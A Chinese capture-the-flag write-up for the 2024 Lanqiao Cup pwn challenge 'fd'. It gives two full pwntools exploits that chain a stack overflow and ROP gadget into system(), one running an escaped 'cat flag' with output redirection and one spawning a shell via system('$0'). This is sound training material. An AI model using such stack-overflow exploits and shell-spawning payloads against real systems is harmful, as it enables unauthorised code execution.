[蓝桥杯2024]-PWN:fd解析(命令符转义,标准输出重定向,利用system(‘$0‘)获取shell权限)

查看保护

查看ida

这里有一次栈溢出,并且题目给了我们system函数。

这里的知识点没有那么复杂

方法一(命令转义):

完整exp:

复制代码
from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778

payload=b"ca\\t flag 1>&2"
print(len(payload))
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()

#补充点1:在第一种方法里,这里的\\是转义符,它所占的字节数并不是2个

复制代码
payload=b"cat flag 1>&2"
复制代码
payload=b"c\at flag 1>&2"
复制代码
payload=b"c\\at flag 1>&2"

所以在这里\\只占一个字节的位置,刚好达到输入上限

方法二(利用system('$0')):

完整exp:

复制代码
from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778

payload=b"$0\x00"
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()

获得权限之后再输入exec 1>&2进行重定向就可以正常拿flag了

相关推荐
神王宝宝 王者小学8 小时前
HBase: 看上去很美
大数据·数据库·hbase
网易易盾8 小时前
AI互动产品安全合规体系架构:制度/技术/运营/证据四层落地
人工智能·安全·aigc·内容安全
io无心8 小时前
Shardingsphere5分库分表
数据库·mysql
wWYy.9 小时前
Mysql:主键索引 唯一索引 普通索引 前缀索引
数据库·mysql
宝杰X79 小时前
Android Room3 多平台数据库
android·数据库
数据知道9 小时前
宽字节注入、二次注入、堆叠注入:高级 SQLi 专题
linux·运维·安全·网络安全
微学AI12 小时前
从连接到安全落地:KES MCP Server 工程化实践的全记录
安全
sky_81061313 小时前
Oracle ERP 各模块业务管理功能及底层表说明
数据库·oracle
A-刘晨阳13 小时前
数据主权时代:自主可控时序大模型TimechoAI筑牢关键基础设施安全防线
大数据·安全
YMatrix 官方技术社区14 小时前
CittaBase vs. Neo4j :原生图性能实测与混合检索实践
数据库·功能测试·ymatrix